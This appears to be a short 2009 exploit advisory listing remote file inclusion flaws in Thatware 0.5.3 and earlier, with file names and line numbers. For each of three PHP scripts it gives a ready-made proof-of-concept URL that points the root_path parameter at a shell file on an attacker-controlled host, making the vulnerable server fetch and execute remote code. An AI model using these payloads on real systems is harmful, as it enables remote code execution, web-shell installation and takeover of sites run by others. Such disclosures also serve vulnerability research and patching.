[ Discovered by cr4wl3r \ cr4wl3r[4t]linuxmail[dot]org ] ######################################################################## #Thatware <= 0.5.3 Multiple Remote File Include Exploit #Download Script : http://sourceforge.net/projects/thatware/files ######################################################################## # #Vuln : ./thatware_path/config.php (line 4) # # # #PoC : http://server/config.php?root_path=http://[attcker]/shell.txt??? # #Vuln : ./thatware_path/artlist.php (line 28) # # # #PoC : http://server/artlist.php?root_path=http://[attcker]/shell.txt??? # #Vuln : ./thatware_path/thatfile.php (line 130) # # # #PoC : http://server/thatfile.php?root_path=http://[attcker]/shell.txt??? # ######################################################################## ######################################################################## ####################[90r0nt4l0 und3r9r0nd c0mmun1ty]#################### ######################################################################## ######################################################################## [ Gorontalo / 2009 ]